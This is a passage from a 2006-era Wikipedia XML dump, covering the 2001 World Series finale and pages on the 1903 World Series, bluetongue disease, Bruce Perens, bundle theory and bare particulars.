It was a matchup of two 20-game-winners in the series finale that would crown a new champion.  Clemens at 39 years old became the oldest game seven starter ever.  Schilling had already started two games of the series and pitched his 300th inning of the season on just three days' rest.  The two aces matched each other inning by inning and after seven full, the game was tied at 1-1.  Many felt that Schilling had pitched long enough, but Brenly stayed with his ace into the eighth.  The move backfired as the [[Alfonso Soriano]] hit a solo home run on an 0-2 pitch.  After Schilling got one out, he gave up a single to [[David Justice]], and he left the game trailing 2-1.  Brenly brought in [[Miguel Batista]] to get out Derek Jeter and then in an unconventional move, brought in the previous night's starter Randy Johnson, who had thrown 104 pitches, in relief to finish out the game.  It proved to be a smart move, as Johnson got out all four Yankees he faced.

With the Yankees ahead 2-1 in the bottom of the eighth, manager [[Joe Torre]] turned the game over to his ace closer [[Mariano Rivera]] for a two-inning save. Rivera was one of the surest things in the late innings, and he had pitched brilliantly throughout the postseason up to that point.  Rivera struck out the side in the eighth and lowered his ERA in the postseason to a major league-best of 0.70. He was not at his sharpest in the ninth, however, and it would cost him.  Mark Grace led off the inning with a single to center. Rivera then made an errant throw to second base on a bunt attempt by Damian Miller, putting runners on first and second. Rivera appeared to regain control when he fielded [[Jay Bell]]'s bunt and threw out pinch-runner [[David Dellucci]] at third base. However, the next batter, [[Tony Womack]], drove a double down the right-field line that evened the score. After Rivera hit [[Craig Counsell]] with a 1-1 pitch, [[Luis Gonzalez (baseball outfielder)|Luis Gonzalez]] would become the hero, knocking a soft single to center on an 0-1 pitch that plated Jay Bell with the winning run. This ended New York's bid for a fourth consecutive title and brought Arizona its first championship in just its fourth year of existence.
{| border=1 cellspacing=0 width=&quot;425&quot; style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
! align=&quot;left&quot; width=&quot;28%&quot; | Team

! width=6% | 1
! width=6% | 2
! width=6% | 3
! width=6% | 4
! width=6% | 5
! width=6% | 6
! width=6% | 7
! width=6% | 8
! width=6% | 9
! width=6% | R
! width=6% | H
! width=6% | E
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | New York || 0 || 0 || 0 || 0
| 0 || 0 || 1 || 1 || 0 || '''2''' || '''6''' || '''3'''
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | '''Arizona''' || 0 || 0 || 0 || 0
| 0 || 1 || 0 || 0 || 2 || '''3''' || '''11''' || '''0'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Randy Johnson]] (3-0) &amp;nbsp;&amp;nbsp;'''L''': [[Mariano Rivera]] (1-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''HR''': '''NYY'''&amp;ndash; [[Alfonso Soriano]] (1)&lt;/small&gt;
|}

==Quote of the Series==
&quot;''Floater...center field! The Diamondbacks are World Champions!''&quot;--Joe Buck, announcing that the Diamondbacks had won the World Series.

==Trivia==
* Randy Johnson became the first pitcher since [[Orel Hershiser]] in 1988 to be the winning pitcher of the clinching games in the LCS and World Series.
* The Yankees became the first team to appear in four straight World Series since the 1961-64 Yankees.
* The Diamondbacks win pretty well put the &quot;[[Ex-Cubs Factor]]&quot; jinx to bed, as the D-backs not only defied the jinx to win the Series, but two of the three (Grace and Gonzalez) actively participated in the Series-winning rally.
* It's not necessairily a safe bet to say that Schilling and Johnson are close friends anymore. Schilling was traded to the Boston red Sox in 2004 and Johnson went to the Yankees in 2005.

{{WorldSeries}}

==External links==
*[http://sports.espn.go.com/mlb/playoffs2001/worldseries ESPN.com: 2001 World Series]

*[http://sportsillustrated.cnn.com/baseball/mlb/2001/postseason/ SI.com: MLB Postseason 2001]

*[http://www.usatoday.com/sports/baseball/01play/index.htm USA Today: Quest for a Title]

*[http://www.sportsline.com/u/baseball/mlb/2001/playoffs/ CBS Sportsline: 2001 MLB Playoffs] 

*[http://www.baseball-almanac.com/ws/yr2001ws.shtml 2001 World Series by Baseball Almanac]

*[http://www.baseball-reference.com/postseason/2001_WS.shtml 2001 World Series - ARI vs. NYY - Baseball-Reference.com]

[[Category:World Series]]
[[Category:2001 in baseball|World Series]]
[[Category:2001 Arizona Diamondbacks World Series Championship Team]]
[[Category:Arizona Diamondbacks]]
[[Category:New York Yankees]]</text>
    </revision>
  </page>
  <page>
    <title>1903 World Series</title>
    <id>3865</id>
    <revision>
      <id>37170604</id>
      <timestamp>2006-01-29T04:40:52Z</timestamp>
      <contributor>
        <username>Wknight94</username>
        <id>352579</id>
      </contributor>
      <comment>Moving trivia from [[World Series]] in preparation for overhauling that article</comment>
      <text xml:space="preserve">[[Image:1903_world_series_poster.jpg|thumb|200px|right|1903 World Series Poster]]

The '''1903 World Series''', the first modern [[World Series]] to be played in [[Major League Baseball]], matched the [[Boston Red Sox|Boston &quot;Pilgrims&quot;]] against the [[Pittsburgh Pirates]], with Boston prevailing five games to three.

Pittsburgh pitcher [[Sam Leever]] injured his shoulder while trap-shooting, so his teammate [[Deacon Phillippe]] had to pitch five complete games for Pittsburgh.  He won three of his games, but it was not enough to overcome the club from the new American League.  Boston pitchers [[Bill Dinneen]] and [[Cy Young]] led Boston to victory.

Although much was made of the influence of the Boston &quot;[[Royal Rooters]]&quot;, Boston only won two out of four at home and three of four at Pittsburgh.

The Pirates' benevolent owner [[Barney Dreyfuss]] added his share of the gate receipts to the players' share, so the losing team's players actually finished with a larger individual share than the winning team's.

'''Managers:''' [[Jimmy Collins]] (Boston), [[Fred Clarke]] (Pittsburgh)

'''Umpires''': [[Hank O'Day]] (NL), [[Tommy Connolly]] (AL)

==Summary==
&lt;tr&gt;&lt;td width=&quot;33%&quot; valign=&quot;top&quot;&gt;
{| border=&quot;0&quot; cellspacing=&quot;3&quot; cellpadding=&quot;3&quot;
|-style=&quot;background: #e3e3e3;&quot;
!|Game||Score||Date
|-
|1||[[Pittsburgh Pirates|Pittsburgh]] 7, [[Boston Red Sox|Boston]] 3 ||[[October 1]]
|-style=&quot;background: #e3e3e3;&quot;
|2||Boston 3, Pittsburgh 0||[[October 2]]
|-
|3||Pittsburgh 4, Boston 2||[[October 3]]
|-style=&quot;background: #e3e3e3;&quot;
|4||Pittsburgh 5, Boston 4||[[October 6]]
|-
|5||Boston 11, Pittsburgh 2||[[October 7]]
|-style=&quot;background: #e3e3e3;&quot;
|6||Boston 6, Pittsburgh 3||[[October 8]]
|-
|7||Boston 7, Pittsburgh 3||[[October 10]]
|-style=&quot;background: #e3e3e3;&quot;
|8||Boston 3, Pittsburgh 0||[[October 13]]
|}

===Game 1, [[October 1]]===
[[Huntington Avenue Grounds]], [[Boston, Massachusetts|Boston]], [[Massachusetts]]

The Pirates started Game 1 strong, scoring six runs in the first four innings. They extended their lead to 7-0 on a solo home run by Jimmy Sebring in the 7th, the first home run in World Series history. Boston tried to mount a comeback in the last three innings, but it was too little, too late, as they ended up losing by a score of 7-3 in the first ever World Series game. Both Phillippe and Young threw complete games, with Phillippe striking out 10 and Young fanning 5, but Young also gave up twice as many hits and allowed 3 earned runs to Phillippe's 2.

{| border=1 cellspacing=0 width=425 style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
!align=left width=125|Team
!width=25|1
!width=25|2
!width=25|3
!width=25|4
!width=25|5
!width=25|6
!width=25|7
!width=25|8
!width=25|9
!width=25|R
!width=25|H
!width=25|E
|- style=&quot;text-align:center;&quot;
|align=left|'''Pittsburgh'''
|4||0||1
|1||0||0
|1||0||0
|'''7'''||'''12'''||'''2'''
|- style=&quot;text-align:center;&quot;
|align=left|Boston
|0||0||0
|0||0||0
|2||0||1
|'''3'''||'''6'''||'''4'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Deacon Phillippe]] (1-0) &amp;nbsp;&amp;nbsp;'''L''': [[Cy Young]] (0-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''HR''': '''PIT''' &amp;ndash; [[Jimmy Sebring]] (1)&lt;/small&gt;
|}

===Game 2, [[October 2]]===
[[Huntington Avenue Grounds]], [[Boston, Massachusetts|Boston]], [[Massachusetts]]

After starting out strong in Game 1, the Pirates simply shut down offensively, managing to get a meager 3 hits, all of which were singles. Pirates starter Sam Leever went only one inning and gave up 3 hits and 2 runs before being replaced by Bucky Veil in the second inning due to injury, who finished the game for Pittsburgh. Bill Dinneen struck out 11 and pitched a complete game for the Americans, while Patsy Dougherty hit home runs in the first and sixth innings to produce 2 of the Boston's 3 runs.

{| border=1 cellspacing=0 width=425 style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
!align=left width=125|Team
!width=25|1
!width=25|2
!width=25|3
!width=25|4
!width=25|5
!width=25|6
!width=25|7
!width=25|8
!width=25|9
!width=25|R
!width=25|H
!width=25|E
|- style=&quot;text-align:center;&quot;
|align=left|Pittsburgh
|0||0||0
|0||0||0
|0||0||0
|'''0'''||'''3'''||'''2'''
|- style=&quot;text-align:center;&quot;
|align=left|'''Boston'''
|2||0||0
|0||0||1
|0||0||X
|'''3'''||'''9'''||'''0'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Bill Dineen]] (1-0) &amp;nbsp;&amp;nbsp;'''L''': [[Sam Leever]] (0-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''HR''': '''BOS''' &amp;ndash; [[Patsy Dougherty]] 2 (2)&lt;/small&gt;
|}

===Game 3, [[October 3]]===
[[Huntington Avenue Grounds]], [[Boston, Massachusetts|Boston]], [[Massachusetts]]

Deacon Phillippe, pitching on only one day rest, started Game 3 for the Pirates, and did not let them down as he pitched his second complete game victory of the series to put the Pirates up two games to one.

{| border=1 cellspacing=0 width=425 style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
!align=left width=125|Team
!width=25|1
!width=25|2
!width=25|3
!width=25|4
!width=25|5
!width=25|6
!width=25|7
!width=25|8
!width=25|9
!width=25|R
!width=25|H
!width=25|E
|- style=&quot;text-align:center;&quot;
|align=left|'''Pittsburgh'''
|0||1||2
|0||0||0
|0||1||0
|'''4'''||'''7'''||'''0'''
|- style=&quot;text-align:center;&quot;
|align=left|Boston
|0||0||0
|1||0||0
|0||1||0
|'''2'''||'''4'''||'''2'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Deacon Phillippe]] (2-0) &amp;nbsp;&amp;nbsp;'''L''': [[Tom Hughes]] (0-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|}

===Game 4, [[October 6]]===
[[Exposition Park (Pittsburgh)|Exposition Park]], [[Pittsburgh, Pennsylvania|Pittsburgh]], [[Pennsylvania]]

After two days of rest, Deacon Phillippe was ready to pitch his second straight game. He threw his third complete game victory of the series against Bill Dinneen, who was pitching in his second start of the series. However, Phillippe's second straight victory was almost not to be, as the Americans, down 5-1 in the top of the ninth, staged a rally to bring the game within one. The comeback attempt failed, though, as Phillippe managed to put an end to it and give the Pirates a commanding 3-1 series lead.

{| border=1 cellspacing=0 width=425 style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
!align=left width=125|Team
!width=25|1
!width=25|2
!width=25|3
!width=25|4
!width=25|5
!width=25|6
!width=25|7
!width=25|8
!width=25|9
!width=25|R
!width=25|H
!width=25|E
|- style=&quot;text-align:center;&quot;
|align=left|Boston
|0||0||0
|0||1||0
|0||0||3
|'''4'''||'''9'''||'''1'''
|- style=&quot;text-align:center;&quot;
|align=left|'''Pittsburgh'''
|1||0||0
|0||1||0
|3||0||X
|'''5'''||'''12'''||'''1'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Deacon Phillippe]] (3-0) &amp;nbsp;&amp;nbsp;'''L''': [[Bill Dinneen]] (1-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|}

===Game 5, [[October 7]]===
[[Exposition Park (Pittsburgh)|Exposition Park]] , [[Pittsburgh, Pennsylvania|Pittsburgh]], [[Pennsylvania]]

Game 5 was a pitcher's duel for the first five innings, with Boston's Cy Young and Pittsburgh's Brickyard Kennedy giving up no runs. That changed at the top of the sixth, however, when the Americans scored a then-record 6 runs that inning. Young, on the other hand, managed to keep his shutout intact before finally giving up a pair of runs in the bottom of the eighth. He went the distance and struck out four for his first World Series win.

{| border=1 cellspacing=0 width=425 style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
!align=left width=125|Team
!width=25|1
!width=25|2
!width=25|3
!width=25|4
!width=25|5
!width=25|6
!width=25|7
!width=25|8
!width=25|9
!width=25|R
!width=25|H
!width=25|E
|- style=&quot;text-align:center;&quot;
|align=left|'''Boston'''
|0||0||0
|0||0||6
|4||1||0
|'''11'''||'''14'''||'''2'''
|- style=&quot;text-align:center;&quot;
|align=left|Pittsburgh
|0||0||0
|0||0||0
|0||2||0
|'''2'''||'''6'''||'''4'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Cy Young]] (1-1) &amp;nbsp;&amp;nbsp;'''L''': [[Brickyard Kennedy]] (0-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|}

===Game 6, October 8===
[[Exposition Park (Pittsburgh)|Exposition Park]], [[Pittsburgh, Pennsylvania|Pittsburgh]], [[Pennsylvania]]

Game 6 featured a rematch between the starters of Game 2, Bill Dinneen (Boston) and Sam Leever (Pittsburgh). This time, Leever would pitch the entire game, but despite throwing a complete game he was outmatched by Dinneen, who ended up with his second complete game victory of the series. After losing three of the first four games of the World Series, the underdog Boston Americans had tied the series at three games apiece.

{| border=1 cellspacing=0 width=425 style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
!align=left width=125|Team
!width=25|1
!width=25|2
!width=25|3
!width=25|4
!width=25|5
!width=25|6
!width=25|7
!width=25|8
!width=25|9
!width=25|R
!width=25|H
!width=25|E
|- style=&quot;text-align:center;&quot;
|align=left|'''Boston'''
|0||0||3
|0||2||0
|1||0||0
|'''6'''||'''10'''||'''1'''
|- style=&quot;text-align:center;&quot;
|align=left|Pittsburgh
|0||0||0
|0||0||0
|3||0||0
|'''3'''||'''10'''||'''3'''
|- style=&quot;text-align:left;&quot;
|colspan=14|&lt;small&gt;'''W:''' [[Bill Dinneen]] (2-1)&amp;nbsp;&amp;nbsp;'''L:''' [[Sam Leever]] (0-2)&lt;/small&gt;
|}

===Game 7, [[October 10]]===
[[Exposition Park (Pittsburgh)|Exposition Park]], [[Pittsburgh, Pennsylvania|Pittsburgh]], [[Pennsylvania]]

The fourth and final game in Pittsburgh saw Deacon Phillippe start his fourth game of the series for Pittsburgh. This time, however, he wouldn't fare as well as he did in his first three starts. Cy Young, pitching in his third start of the series, would face a much more favorable fate, holding the Pirates to only three runs. The upstart Americans were now one win away from winning the first ever baseball World Series, taking three out of four at Pittsburgh's Exposition Park.

{| border=1 cellspacing=0 width=425 style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
!align=left width=125|Team
!width=25|1
!width=25|2
!width=25|3
!width=25|4
!width=25|5
!width=25|6
!width=25|7
!width=25|8
!width=25|9
!width=25|R
!width=25|H
!width=25|E
|- style=&quot;text-align:center;&quot;
|align=left|'''Boston'''
|2||0||0
|2||0||2
|0||1||0
|'''7'''||'''11'''||'''4'''
|- style=&quot;text-align:center;&quot;
|align=left|Pittsburgh
|0||0||0
|1||0||1
|0||0||1
|'''3'''||'''10'''||'''3'''
|- style=&quot;text-align:left;&quot;
|colspan=14|&lt;small&gt;'''WP:''' [[Cy Young]] (2-1)&amp;nbsp;&amp;nbsp;'''LP:''' [[Deacon Phillippe]] (3-1)&lt;/small&gt;
|}

===Game 8, [[October 13]]===
[[Huntington Avenue Grounds]], [[Boston, Massachusetts|Boston]], [[Massachusetts]]

The final game of the inaugural World Series started out as an intense pitcher's duel, with no runs being scored until the fourth inning. Deacon Phillippe started his fifth and final game of the series, while Bill Dinneen started his fourth game of the series. As he did in Game 2, Dinneen threw a complete game shutout while striking out seven, leading the Boston Americans to victory, while Phillippe, who also threw a respectable game, just couldn't pitch at Dinneen's level due to wearing out his arm in the series (as a result of playing so many games in such a short time span) and gave up three runs in the defeat.

And so, the first baseball World Series had ended, with the fledgling American League's Boston Americans winning over the heavily favored Pittsburgh Pirates of the National League. Honus Wagner, the National League batting champion, ended up going only 6 for 27 at the plate (.222 batting average) in the series.

{| border=1 cellspacing=0 width=425 style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
!align=left width=125|Team
!width=25|1
!width=25|2
!width=25|3
!width=25|4
!width=25|5
!width=25|6
!width=25|7
!width=25|8
!width=25|9
!width=25|R
!width=25|H
!width=25|E
|- style=&quot;text-align:center;&quot;
|align=left|Pittsburgh
|0||0||0
|0||0||0
|0||0||0
|'''0'''||'''4'''||'''3'''
|- style=&quot;text-align:center;&quot;
|align=left|'''Boston'''
|0||0||0
|2||0||1
|0||0||X
|'''3'''||'''8'''||'''0'''
|- style=&quot;text-align:left;&quot;
|colspan=14|&lt;small&gt;'''W:''' [[Bill Dinneen]] (3-1)&amp;nbsp;&amp;nbsp;'''L:''' [[Deacon Phillippe]] (3-2)&lt;/small&gt;
|}

[[Image:1903_world_series_crowd.jpg|thumb|450px|Crowd outside the 1903 World Series]]
&lt;br&gt;

==External links==
*The 1903 World Series website by David Southwick contains box scores and articles by contemporary Boston sportswriter [[Tim Murnane]]. [http://www.geocities.com/redsoxfan_02269/]
*[http://baseball-almanac.com/ws/yr1903ws.shtml Baseball Almanac's 1903 World Series page]
*[http://www.retrosheet.org/boxesetc/YPS_1903.htm 1903 World Series box scores, line scores, and play-by-play summaries]

{{WorldSeries}}


[[Category:1903 in baseball|World Series]]
[[Category:Boston Red Sox]]
[[Category:Pittsburgh Pirates]]
[[Category:World Series]]</text>
    </revision>
  </page>
  <page>
    <title>Bluetongue disease</title>
    <id>3866</id>
    <revision>
      <id>27259375</id>
      <timestamp>2005-11-03T15:24:22Z</timestamp>
      <contributor>
        <username>Esprit15d</username>
        <id>379272</id>
      </contributor>
      <comment>disambig</comment>
      <text xml:space="preserve">'''Bluetongue disease''' (also called catarrhal fever) is a non-contagious, arthropod-borne viral disease of [[ruminant]]s, mainly [[sheep]] and less frequently of [[cattle]], [[goat]]s, [[Bovinae|buffalo]]es, [[deer]], [[dromedary|dromedaries]] and [[antelope]]s. There are no reports of [[human]] [[transmission (medicine)|transmission]]. The [[pathogen]]ic [[virus (biology)|virus]] is a member of the [[Reoviridae]]. It is transmitted by a [[midge]], [[Culicoides imicola]] and other culicoid [[species]].

Bluetongue has been observed in [[Australia]], the [[United States|USA]], [[Africa]], the [[Middle East]], [[Asia]] and [[Europe]]. Its occurrence is seasonal in the affected [[Mediterranean]] countries, subsiding when temperatures drop. It has been spreading northward since [[1999]].

Major [[sign (medicine)|sign]]s are high [[fever]], excessive [[saliva]]tion, [[edema|swelling]] of the face and tongue and [[cyanosis]] of the tongue. Swelling of the lips and tongue gives the tongue its typical blue appearance, though this sign is confined to a minority of the animals. Recovery is very slow.

The [[incubation period]] is 5–20 days, and all signs usually develop within one month. The [[mortality rate]] is normally low, but is high in [[susceptible]] [[breeds]] of sheep. In cattle and wild ruminants [[infection]] is usually [[asymptomatic]] despite high virus levels in blood.

There is no efficient treatment. Prevention is effected via [[quarantine]], [[inoculation]] with live modified virus [[vaccine]] and control of the midge [[Vector (biology)|vector]], including inspection of aircraft.[http://www.ipfsaph.org/servlet/CDSServlet?status=ND1jdGh0dHB3d3dmYW9vcmdhb3NpcGZzYXBoaW5mb3JtYXRpb25zb3VyY2VldS5FVVJMRVgzMjAwMEwwMDc1JjY9ZW4mMzM9Zm9ybWFsX3RleHQmMzc9aW5mbw~~]

Although the tongues of human patients with some types of [[heart disease]] may be blue, this sign is not related to bluetongue disease.

== External links ==

* http://www.fao.org/ag/againfo/subjects/en/health/diseases-cards/bluetongue.html
* http://www.oie.int/eng/maladies/fiches/a_A090.htm

[[de:Blauzungenkrankheit]]
[[it:Lingua_blu]]</text>
    </revision>
  </page>
  <page>
    <title>Bruce Parens</title>
    <id>3868</id>
    <revision>
      <id>15902180</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bruce Perens]]
</text>
    </revision>
  </page>
  <page>
    <title>Bruce Perens</title>
    <id>3869</id>
    <revision>
      <id>41982798</id>
      <timestamp>2006-03-03T01:02:54Z</timestamp>
      <contributor>
        <username>Alphax</username>
        <id>108048</id>
      </contributor>
      <minor />
      <comment>catting: living people</comment>
      <text xml:space="preserve">'''Bruce Perens''' is a prominent figure in the [[open source movement]] and to some extent in the [[free software movement]]. He is a former [[Debian|Debian GNU/Linux]] Project Leader, the primary author of the [[Open Source Definition]], a founder of [[Software in the Public Interest]], founder and first project leader of the [[Linux Standard Base]] project, founder of the [[UserLinux]] project, and co-founder of the [[Open Source Initiative]] (OSI). Perens also has a book series with Prentice Hall PTR called the [[Bruce Perens' Open Source Series]]. He is an avid [[amateur radio]] enthusiast and maintains technocrat.net, which he styles 'a more mature forum than [[Slashdot]]'.

Perens left OSI a year after co-founding it, with reasons explained in an email titled &quot;[http://lists.debian.org/debian-devel/1999/debian-devel-199902/msg01641.html It's Time to Talk About Free Software Again]&quot;.

Since [[June 2005]] he is an employee of [[SourceLabs]].


==External links==
*[http://perens.com/ Bruce Perens' homepage]
*[http://lwn.net/1998/0528/a/lsb.html PROJECT PROPOSAL AND CALL FOR PARTICIPATION: THE LINUX STANDARD BASE]
*[http://www.perens.com/Articles/ Perens' Articles]
*[http://lists.debian.org/debian-devel/1999/02/msg01641.html &quot;It's Time to Talk About Free Software Again&quot;]
*[http://www.perens.com/Articles/StandTogether.html Free Software Leaders Stand Together]
*[http://www.perens.com/Articles/JapanJune2003.txt A speech given in Japan, June 2003]
*[http://www.technocrat.net technocrat.net]

{{compu-bio-stub}}

{{start box}}
{{succession box|before=[[Ian Murdock]]|after=[[Ian Jackson]]|years=April&amp;nbsp;1996 &amp;ndash; December&amp;nbsp;1997|title=[[Debian Project Leader]]}}
{{end box}}

[[Category:Free software|Perens, Bruce]]
[[Category:Programmers|Perens, Bruce]]
[[Category:Free Software developers|Perens, Bruce]]
[[Category:Amateur radio people|Perens, Bruce]]
[[Category:Living people|Perens, Bruce]]

[[ca:Bruce Perens]]
[[de:Bruce Perens]]
[[fr:Bruce Perens]]
[[it:Bruce Perens]]
[[ja:ブルース・ペレンズ]]
[[pl:Bruce Perens]]</text>
    </revision>
  </page>
  <page>
    <title>Bundle theory</title>
    <id>3870</id>
    <revision>
      <id>41405480</id>
      <timestamp>2006-02-27T02:44:52Z</timestamp>
      <contributor>
        <ip>132.241.41.137</ip>
      </contributor>
      <text xml:space="preserve">[[Category:Metaphysics]]
'''Bundle theory''' is the [[ontology|ontological]] theory about [[objecthood]] in which an [[object (philosophy)|object]] consists only of a collection (''bundle'') of [[property|properties]], [[relation]]s, or [[Trope#Trope theory in metaphysics|tropes]].

According to bundle theory, an object consists of its properties and nothing more, thus neither can there be an object without properties nor can one even ''conceive'' of such an object.
For example, bundle theory claims that thinking of an apple compels one also to think of its color, its shape, the fact that it is a kind of fruit, its cells, its taste, or at least one other of its properties. Thus, the theory asserts that the apple is no more than the collection of its properties. In particular, there is no ''[[substance theory|substance]]'' in which the properties ''[[inherence relation|inhere]]''.

==Arguments for the bundle theory==

The difficulty in conceiving of or describing an object without also conceiving of or describing its properties is a common justification for bundle theory, especially among current philosophers in the Anglo-American tradition.

The inability to comprehend any aspect of the thing other than its properties implies, this argument maintains, that one cannot conceive of a ''bare particular'' (a ''substance'' without properties), an implication that directly opposes [[substance theory]]. The conceptual difficulty of ''bare particulars'' was illustrated by [[John Locke]] when he described a ''substance'' by itself, apart from its properties, as &quot;something, I know not what.&quot;

Whether a ''[[relation]]'' of an object is one of its properties may complicate such an argument. However, the argument concludes that the conceptual challenge of ''bare particulars'' leaves a bundle of properties and nothing more as the only possible conception of an object, thus justifying bundle theory.

==Objections to the bundle theory==

Objections to bundle theory concern the nature of the ''bundle of properties'', the properties' ''[[wikt:compresence|compresence]]'' relation (the ''togetherness'' relation between those constituent properties), and the impact of language on understanding reality.

===''Compresence'' objection===

Bundle theory maintains that properties are ''bundled'' together in a collection without describing how are they tied together. For example, bundle theory regards an apple as red, four inches (100 mm) wide, and juicy but lacking an underlying ''substance''. The apple is said to be a ''bundle of properties'' including redness, being four inches (100 mm) wide, and juiciness.

Critics question how bundle theory accounts for the properties' ''[[wikt:compresence|compresence]]'' (the ''togetherness'' relation between those properties) without an underlying ''substance''. Critics also question how any two given properties are determined to be properties of the same object if there is no ''substance'' in which they both ''inhere''.

Traditional bundle theory explains the ''compresence'' of properties by defining an object as a collection of properties ''bound'' together. Thus, different combinations of properties and relations produce different objects. Redness and juiciness, for example, may be found together on top of the table because they are part of a bundle of properties located on the table, one of which is the &quot;looks like an apple&quot; property.

By contrast, [[substance theory]] explains the ''compresence'' of properties by asserting that the properties are found together because it is the ''substance'' that has those properties. In substance theory, a ''substance'' is the thing in which properties ''inhere''. For example, redness and juiciness are found on top of the table because redness and juciness ''inhere'' in an apple, making the apple red and juicy.

The ''bundle theory of substance'' explains ''compresence''. Specifically, it maintains that properties' compresence itself engenders a ''substance''. Thus, it determines ''substancehood'' empirically by the ''togetherness'' of properties rather than by a ''bare particular'' or by any other non-empirical underlying strata. The ''bundle theory of substance'' thus rejects the substance theories of [[Aristotle]], [[Descartes]], and more recently, [[J.P. Moreland]], [[Quentin Smith]], and others.

===''Language-reality'' objection===

The ''language-reality'' objection to bundle theory relates to the impact language has on understanding reality. The objection maintains that language causes confusion that supports bundle theory.

Per the objection, properties are synthetic constructions of language and thinking alone provides reality to the properties of any object. An apple, it claims, does not have a properties ''Red'' or ''Juicy'', but rather observers who already believe in a concept called ''Red'' use that concept to experience an apple as red. Further, the objection maintains that ''Red'' can not be distilled from an apple because ''Red'' is an abstraction from other experiences and not an innate property an apple might contain. Per the objection, it expressions such as, &quot;An apple is red and juicy,&quot; includes at least six concepts and would best be left as dead-end logical propositions. Since the objection regards the words &quot;Red&quot; and &quot;Juicy&quot; as simply abstractions of previous experiences, it contends that they contain only a personal summary concept of one individual. Thus, the experience of an apple is as close to the ''Apple'' concept that one can get. The objection regards any additional analytic work of the mind as a synthesis of other experiences that incapable of logically revealing any true essence of ''Apple''.

The ''language-reality'' objection asserts that language encourages the belief that ''synthetic exercises'' distil experiences, yet it rejects the results of such exercises by maintaining that observers actually combine experiences to create each concept of any particular property. It holds that language is a complicated belief system whose only connection to reality is an abstraction of experience. The ''language-reality'' objection may even suggest that ''reality/non-reality'' or ''objective/subjective'' distinctions themselves are merely artefacts of language and therefore are also solely abstractions of experience.

==Bundle Theory and Eastern Philosophy==
[[Candrakirti]], the famous [[Madhyamaka]] philosopher used the aggregate nature of objects to demonstrate the lack of [[essence]] in what is known as the sevenfold reasoning. In his work, &quot;Commentary on the 'Middle Way'&quot;, he says:

''A chariot is neither asserted to be other than its parts, nor to be non-other. It does not possess them. It does not depend on the parts, and the parts do not depend on it. It is neither the mere collection of the parts, nor it is their shape.''  

He goes on to explain what is meant by each of these seven assertions, but briefly in a subsequent commentary he explains that the conventions of the world do not exist essentially when closely analysed, but exist only through being taken for granted, without being subject to scrutiny that searches for an essence within them.

==See also==
*[[Ontology]]
*[[Platonic realism]]
*[[Substance theory]]

==References==
*''[[A Treatise of Human Nature]]'': Being an Attempt to introduce the experimental Method of Reasoning into Moral Subjects. ([[1739]]–1740) 
*[[Derek Parfit]], ''[[Reasons and Persons]]''

[[Category:Ontology| ]]</text>
    </revision>
  </page>
  <page>
    <title>Bare particular</title>
    <id>3871</id>
    <revision>
      <id>32418477</id>
      <timestamp>2005-12-22T23:20:42Z</timestamp>
      <contributor>
        <username>Rodasmith</username>
        <id>291611</id>
      </contributor>
      <comment>{{mergeto|Substance theory}}</comment>
      <text xml:space="preserve">{{mergeto|Substance theory}}
In [[metaphysics]], '''Bare particular''' is what a [[substance]] is called when considered independently of its properties.  It seems that substance theories are committed to the existence of bare particulars.  But, the critic maintains, the very notion of a thing with no properties is absurd.  We just cannot conceive of a thing without any properties.  John Locke is famous for describing a substance as &quot;a something, I know not what.&quot;  It seems that as soon as we get the fuzziest notion of a thing in mind, we are thinking of ''some property'' or other.  The problem is not just that it is physically impossible that we might stumble across a bare particular, or a propertyless thing on our strolls about town.  The point is that the very ''notion'' of a propertyless thing is strange: we just have no such notion, and perhaps cannot have such a notion.

That at least is what the [[bundle theory]]'s advocate might say.  Indeed, we might say
that this argument ''against'' the substance theory is one main argument ''for'' the bundle theory; so see also [[bundle theory]], where this article is developed further.

''The above paragraphs are also found at [[substance theory]].  Please keep these two articles consistent.''

[[Category:Metaphysics]]</text>
    </revision>
  </page>
  <page>
    <title>Bernard Law Montgomery, 1st Viscount Montgomery of Alamein</title>
    <id>3873</id>
    <revision>
      <id>41846461</id>
      <timestamp>2006-03-02T03:00:28Z</timestamp>
      <contributor>
        <username>Dabbler</username>
        <id>139032</id>
      </contributor>
      <comment>/* Later life */</comment>
      <text xml:space="preserve">[[Image:Bernard Law Montgomery.jpg|thumbnail|250px|Bernard Law Montgomery]] 

